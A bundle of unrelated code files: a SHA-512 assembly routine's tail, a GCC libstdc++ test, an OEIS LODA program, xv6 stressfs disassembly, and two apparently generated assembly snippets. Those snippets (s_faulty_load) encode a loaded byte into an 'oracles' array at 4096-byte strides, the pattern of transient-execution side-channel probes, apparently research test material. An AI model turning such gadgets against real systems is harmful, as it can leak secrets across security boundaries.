;; copy 32 bytes for SHA512 / 24 bytes for SHA384
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 0*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 1*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 2*SHA512_DIGEST_ROW_SIZE]
%if (SHA_X_DIGEST_SIZE != 384)
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 3*SHA512_DIGEST_ROW_SIZE]
%endif
bswap QWORD(tmp)
bswap QWORD(tmp2)
bswap QWORD(tmp3)
%if (SHA_X_DIGEST_SIZE != 384)
bswap QWORD(tmp4)
%endif
mov [p + 0*8], QWORD(tmp)
mov [p + 1*8], QWORD(tmp2)
mov [p + 2*8], QWORD(tmp3)
%if (SHA_X_DIGEST_SIZE != 384)
mov [p + 3*8], QWORD(tmp4)
%endif
jmp return
copy_full_digest:
;; copy 64 bytes for SHA512 / 48 bytes for SHA384
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 0*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 1*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 2*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 3*SHA512_DIGEST_ROW_SIZE]
bswap QWORD(tmp)
bswap QWORD(tmp2)
bswap QWORD(tmp3)
bswap QWORD(tmp4)
mov [p + 0*8], QWORD(tmp)
mov [p + 1*8], QWORD(tmp2)
mov [p + 2*8], QWORD(tmp3)
mov [p + 3*8], QWORD(tmp4)
mov QWORD(tmp), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 4*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp2), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 5*SHA512_DIGEST_ROW_SIZE]
%if (SHA_X_DIGEST_SIZE != 384)
mov QWORD(tmp3), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 6*SHA512_DIGEST_ROW_SIZE]
mov QWORD(tmp4), [state + _args_digest_sha512 + SHA512_DIGEST_WORD_SIZE*idx + 7*SHA512_DIGEST_ROW_SIZE]
%endif
bswap QWORD(tmp)
bswap QWORD(tmp2)
%if (SHA_X_DIGEST_SIZE != 384)
bswap QWORD(tmp3)
bswap QWORD(tmp4)
%endif
mov [p + 4*8], QWORD(tmp)
mov [p + 5*8], QWORD(tmp2)
%if (SHA_X_DIGEST_SIZE != 384)
mov [p + 6*8], QWORD(tmp3)
mov [p + 7*8], QWORD(tmp4)
%endif
return:
mov rbx, [rsp + _gpr_save + 8*0]
mov rbp, [rsp + _gpr_save + 8*1]
mov r12, [rsp + _gpr_save + 8*2]
%ifndef LINUX
mov rsi, [rsp + _gpr_save + 8*3]
mov rdi, [rsp + _gpr_save + 8*4]
%endif
mov rsp, [rsp + _rsp_save] ; original SP
ret
%ifdef LINUX
section .note.GNU-stack noalloc noexec nowrite progbits
%endif
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r8
push %r9
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_D_ht+0xf0f0, %rdi
clflush (%rdi)
sub $49738, %rbx
vmovups (%rdi), %ymm5
vextracti128 $1, %ymm5, %xmm5
vpextrq $1, %xmm5, %r11
nop
nop
cmp %r10, %r10
lea addresses_D_ht+0x104f0, %r8
nop
xor %r9, %r9
vmovups (%r8), %ymm2
vextracti128 $0, %ymm2, %xmm2
vpextrq $0, %xmm2, %rcx
nop
nop
nop
nop
nop
dec %rbx
lea addresses_A_ht+0x3070, %rsi
lea addresses_normal_ht+0x44f0, %rdi
inc %r9
mov $85, %rcx
rep movsq
nop
nop
nop
nop
nop
and %rsi, %rsi
lea addresses_A_ht+0xa4ca, %r8
nop
nop
inc %rsi
movl $0x61626364, (%r8)
and $10073, %r9
lea addresses_UC_ht+0x1cf0, %rcx
nop
nop
nop
lfence
and $0xffffffffffffffc0, %rcx
movaps (%rcx), %xmm5
vpextrq $1, %xmm5, %r8
nop
nop
nop
xor %r9, %r9
lea addresses_WC_ht+0x16070, %r10
nop
nop
nop
inc %rbx
mov $0x6162636465666768, %r11
movq %r11, %xmm5
vmovups %ymm5, (%r10)
inc %r11
lea addresses_normal_ht+0x90e4, %rsi
lea addresses_WT_ht+0x8f0, %rdi
nop
nop
nop
nop
and %r9, %r9
mov $119, %rcx
rep movsl
nop
nop
and %rbx, %rbx
lea addresses_UC_ht+0x1a620, %r9
nop
nop
nop
add $11218, %r11
mov (%r9), %di
nop
nop
nop
xor %r9, %r9
lea addresses_A_ht+0xe324, %rsi
lea addresses_A_ht+0x89d8, %rdi
nop
nop
add $53527, %r8
mov $6, %rcx
rep movsq
nop
nop
cmp %r8, %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %r9
pop %r8
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r12
push %r8
push %rax
push %rbp
push %rcx
push %rdx
// Store
lea addresses_RW+0x9390, %rax
nop
nop
cmp $43037, %r8
movb $0x51, (%rax)
nop
nop
add %r12, %r12
// Store
lea addresses_WT+0x11af0, %r10
nop
add %rdx, %rdx
mov $0x5152535455565758, %rcx
movq %rcx, (%r10)
nop
xor %rcx, %rcx
// Store
lea addresses_D+0x17b7a, %r8
add %rbp, %rbp
mov $0x5152535455565758, %r10
movq %r10, %xmm1
movups %xmm1, (%r8)
nop
nop
add %r12, %r12
// Load
lea addresses_WC+0x128f0, %r8
inc %rbp
mov (%r8), %r10
nop
nop
add %rbp, %rbp
// Store
lea addresses_UC+0xbe39, %rbp
nop
nop
nop
nop
nop
and $62718, %rdx
mov $0x5152535455565758, %rax
movq %rax, (%rbp)
nop
nop
nop
dec %rax
// Store
lea addresses_WT+0x59f0, %r12
nop
nop
nop
and %r10, %r10
movb $0x51, (%r12)
nop
nop
nop
inc %r12
// Store
lea addresses_D+0x1a3d0, %rbp
nop
nop
nop
nop
nop
xor %rdx, %rdx
movw $0x5152, (%rbp)
nop
nop
nop
inc %rdx
// Faulty Load
lea addresses_WC+0x128f0, %r8
nop
xor %rbp, %rbp
movups (%r8), %xmm6
vpextrq $0, %xmm6, %rcx
lea oracles, %rbp
and $0xff, %rcx
shlq $12, %rcx
mov (%rbp,%rcx,1), %rcx
pop %rdx
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'congruent': 5, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 8, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 8, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 5, 'size': 2, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_WC', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': True, 'congruent': 0, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 8, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'AVXalign': False, 'congruent': 3, 'size': 2, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
// { dg-do compile { target c++11 } }
// Copyright (C) 2015-2017 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
//
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this library; see the file COPYING3. If not see
// <http://www.gnu.org/licenses/>.
#include <new>
#include <utility>
#include <memory>
#include <mutex>
void f1(std::nothrow_t);
void f2(std::piecewise_construct_t);
void f3(std::allocator_arg_t);
void f4(std::defer_lock_t);
void f5(std::try_to_lock_t);
void f6(std::adopt_lock_t);
int main()
{
std::nothrow_t v1;
std::piecewise_construct_t v2;
std::allocator_arg_t v3;
std::defer_lock_t v4;
std::try_to_lock_t v5;
std::try_to_lock_t v6;
std::nothrow_t v7 = {}; // { dg-error "explicit" }
std::piecewise_construct_t v8 = {}; // { dg-error "explicit" }
std::allocator_arg_t v9 = {}; // { dg-error "explicit" }
std::defer_lock_t v10 = {}; // { dg-error "explicit" }
std::try_to_lock_t v11 = {}; // { dg-error "explicit" }
std::try_to_lock_t v12 = {}; // { dg-error "explicit" }
f1(std::nothrow_t{});
f2(std::piecewise_construct_t{});
f3(std::allocator_arg_t{});
f4(std::defer_lock_t{});
f5(std::try_to_lock_t{});
f6(std::adopt_lock_t{});
f1({}); // { dg-error "explicit" }
f2({}); // { dg-error "explicit" }
f3({}); // { dg-error "explicit" }
f4({}); // { dg-error "explicit" }
f5({}); // { dg-error "explicit" }
f6({}); // { dg-error "explicit" }
}
|
; A020924: Expansion of 1/(1-4*x)^(13/2).
; Submitted by Jon Maiga
; 1,26,390,4420,41990,352716,2704156,19315400,130378950,840219900,5209363380,31256180280,182327718300,1037865473400,5782393351800,31610416989840,169905991320390,899502306990300,4697400936504900,24228699567235800,123566367792902580,623715951716555880,3118579758582779400,15457308368627689200,75998432812419471900,370872352124607022872,1797304475680787880072,8653688216240830533680,41414079320581117554040,197073894697937731808880,932816434903571930562032,4393264499868435543937312
mov $2,$0
add $2,6
sub $1,$2
bin $1,6
mul $2,2
sub $2,1
bin $2,$0
mul $1,$2
mov $0,$1
div $0,462
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0xea03, %rsi
lea addresses_normal_ht+0x1b2c3, %rdi
nop
nop
inc %r8
mov $110, %rcx
rep movsb
nop
nop
sub %rbp, %rbp
lea addresses_WT_ht+0x101fc, %rsi
lea addresses_normal_ht+0x136c3, %rdi
nop
add $43134, %r10
mov $77, %rcx
rep movsq
nop
nop
inc %r8
lea addresses_normal_ht+0x96c3, %r10
nop
nop
nop
nop
nop
xor $36301, %rcx
mov $0x6162636465666768, %rbp
movq %rbp, %xmm7
vmovups %ymm7, (%r10)
nop
and %r8, %r8
lea addresses_WT_ht+0x1c6b3, %rsi
nop
nop
nop
dec %rcx
movb $0x61, (%rsi)
nop
nop
xor $56774, %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r14
push %r15
push %r9
push %rbp
push %rbx
push %rdx
// Load
lea addresses_WC+0x56c3, %rdx
nop
nop
nop
nop
nop
add $28453, %rbx
movb (%rdx), %r9b
nop
nop
nop
nop
nop
and $42499, %r11
// Store
lea addresses_WT+0x1a2c3, %rbp
xor $55381, %r15
movw $0x5152, (%rbp)
nop
nop
nop
xor %rdx, %rdx
// Store
lea addresses_PSE+0x14f43, %rbx
nop
nop
nop
nop
xor $46917, %r15
mov $0x5152535455565758, %r9
movq %r9, %xmm4
vmovups %ymm4, (%rbx)
nop
add $55551, %rbx
// Faulty Load
lea addresses_PSE+0x22c3, %rbp
nop
nop
nop
xor %r15, %r15
vmovups (%rbp), %ymm3
vextracti128 $1, %ymm3, %xmm3
vpextrq $0, %xmm3, %r11
lea oracles, %rdx
and $0xff, %r11
shlq $12, %r11
mov (%rdx,%r11,1), %r11
pop %rdx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC', 'same': False, 'size': 1, 'congruent': 9, 'NT': True, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 2, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_PSE', 'same': False, 'size': 32, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_normal_ht', 'same': False, 'size': 32, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_WT_ht', 'same': False, 'size': 1, 'congruent': 3, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'33': 21829}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
_stressfs: file format elf32-i386
Disassembly of section .text:
00000000 <main>:
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
0: 8d 4c 24 04 lea 0x4(%esp),%ecx
4: 83 e4 f0 and $0xfffffff0,%esp
int fd, i;
char path[] = "stressfs0";
7: b8 30 00 00 00 mov $0x30,%eax
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
c: ff 71 fc pushl -0x4(%ecx)
f: 55 push %ebp
10: 89 e5 mov %esp,%ebp
12: 57 push %edi
13: 56 push %esi
14: 53 push %ebx
15: 51 push %ecx
int fd, i;
char path[] = "stressfs0";
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
16: 8d b5 e8 fd ff ff lea -0x218(%ebp),%esi
for(i = 0; i < 4; i++)
1c: 31 db xor %ebx,%ebx
#include "fs.h"
#include "fcntl.h"
int
main(int argc, char *argv[])
{
1e: 81 ec 20 02 00 00 sub $0x220,%esp
int fd, i;
char path[] = "stressfs0";
24: 66 89 85 e6 fd ff ff mov %ax,-0x21a(%ebp)
2b: c7 85 de fd ff ff 73 movl $0x65727473,-0x222(%ebp)
32: 74 72 65
char data[512];
printf(1, "stressfs starting\n");
35: 68 00 08 00 00 push $0x800
3a: 6a 01 push $0x1
int
main(int argc, char *argv[])
{
int fd, i;
char path[] = "stressfs0";
3c: c7 85 e2 fd ff ff 73 movl $0x73667373,-0x21e(%ebp)
43: 73 66 73
char data[512];
printf(1, "stressfs starting\n");
46: e8 95 04 00 00 call 4e0 <printf>
memset(data, 'a', sizeof(data));
4b: 83 c4 0c add $0xc,%esp
4e: 68 00 02 00 00 push $0x200
53: 6a 61 push $0x61
55: 56 push %esi
56: e8 95 01 00 00 call 1f0 <memset>
5b: 83 c4 10 add $0x10,%esp
for(i = 0; i < 4; i++)
if(fork() > 0)
5e: e8 17 03 00 00 call 37a <fork>
63: 85 c0 test %eax,%eax
65: 0f 8f bf 00 00 00 jg 12a <main+0x12a>
char data[512];
printf(1, "stressfs starting\n");
memset(data, 'a', sizeof(data));
for(i = 0; i < 4; i++)
6b: 83 c3 01 add $0x1,%ebx
6e: 83 fb 04 cmp $0x4,%ebx
71: 75 eb jne 5e <main+0x5e>
73: bf 04 00 00 00 mov $0x4,%edi
if(fork() > 0)
break;
printf(1, "write %d\n", i);
78: 83 ec 04 sub $0x4,%esp
7b: 53 push %ebx
7c: 68 13 08 00 00 push $0x813
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
81: bb 14 00 00 00 mov $0x14,%ebx
for(i = 0; i < 4; i++)
if(fork() > 0)
break;
printf(1, "write %d\n", i);
86: 6a 01 push $0x1
88: e8 53 04 00 00 call 4e0 <printf>
path[8] += i;
8d: 89 f8 mov %edi,%eax
8f: 00 85 e6 fd ff ff add %al,-0x21a(%ebp)
fd = open(path, O_CREATE | O_RDWR);
95: 5f pop %edi
96: 58 pop %eax
97: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
9d: 68 02 02 00 00 push $0x202
a2: 50 push %eax
a3: e8 1a 03 00 00 call 3c2 <open>
a8: 83 c4 10 add $0x10,%esp
ab: 89 c7 mov %eax,%edi
ad: 8d 76 00 lea 0x0(%esi),%esi
for(i = 0; i < 20; i++)
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
b0: 83 ec 04 sub $0x4,%esp
b3: 68 00 02 00 00 push $0x200
b8: 56 push %esi
b9: 57 push %edi
ba: e8 e3 02 00 00 call 3a2 <write>
printf(1, "write %d\n", i);
path[8] += i;
fd = open(path, O_CREATE | O_RDWR);
for(i = 0; i < 20; i++)
bf: 83 c4 10 add $0x10,%esp
c2: 83 eb 01 sub $0x1,%ebx
c5: 75 e9 jne b0 <main+0xb0>
// printf(fd, "%d\n", i);
write(fd, data, sizeof(data));
close(fd);
c7: 83 ec 0c sub $0xc,%esp
ca: 57 push %edi
cb: e8 da 02 00 00 call 3aa <close>
printf(1, "read\n");
d0: 58 pop %eax
d1: 5a pop %edx
d2: 68 1d 08 00 00 push $0x81d
d7: 6a 01 push $0x1
d9: e8 02 04 00 00 call 4e0 <printf>
fd = open(path, O_RDONLY);
de: 59 pop %ecx
df: 8d 85 de fd ff ff lea -0x222(%ebp),%eax
e5: 5b pop %ebx
e6: 6a 00 push $0x0
e8: 50 push %eax
e9: bb 14 00 00 00 mov $0x14,%ebx
ee: e8 cf 02 00 00 call 3c2 <open>
f3: 83 c4 10 add $0x10,%esp
f6: 89 c7 mov %eax,%edi
f8: 90 nop
f9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
for (i = 0; i < 20; i++)
read(fd, data, sizeof(data));
100: 83 ec 04 sub $0x4,%esp
103: 68 00 02 00 00 push $0x200
108: 56 push %esi
109: 57 push %edi
10a: e8 8b 02 00 00 call 39a <read>
close(fd);
printf(1, "read\n");
fd = open(path, O_RDONLY);
for (i = 0; i < 20; i++)
10f: 83 c4 10 add $0x10,%esp
112: 83 eb 01 sub $0x1,%ebx
115: 75 e9 jne 100 <main+0x100>
read(fd, data, sizeof(data));
close(fd);
117: 83 ec 0c sub $0xc,%esp
11a: 57 push %edi
11b: e8 8a 02 00 00 call 3aa <close>
wait();
120: e8 65 02 00 00 call 38a <wait>
exit();
125: e8 58 02 00 00 call 382 <exit>
12a: 89 df mov %ebx,%edi
12c: e9 47 ff ff ff jmp 78 <main+0x78>
131: 66 90 xchg %ax,%ax
133: 66 90 xchg %ax,%ax
135: 66 90 xchg %ax,%ax
137: 66 90 xchg %ax,%ax
139: 66 90 xchg %ax,%ax
13b: 66 90 xchg %ax,%ax
13d: 66 90 xchg %ax,%ax
13f: 90 nop
00000140 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, const char *t)
{
140: 55 push %ebp
141: 89 e5 mov %esp,%ebp
143: 53 push %ebx
144: 8b 45 08 mov 0x8(%ebp),%eax
147: 8b 4d 0c mov 0xc(%ebp),%ecx
char *os;
os = s;
while((*s++ = *t++) != 0)
14a: 89 c2 mov %eax,%edx
14c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
150: 83 c1 01 add $0x1,%ecx
153: 0f b6 59 ff movzbl -0x1(%ecx),%ebx
157: 83 c2 01 add $0x1,%edx
15a: 84 db test %bl,%bl
15c: 88 5a ff mov %bl,-0x1(%edx)
15f: 75 ef jne 150 <strcpy+0x10>
;
return os;
}
161: 5b pop %ebx
162: 5d pop %ebp
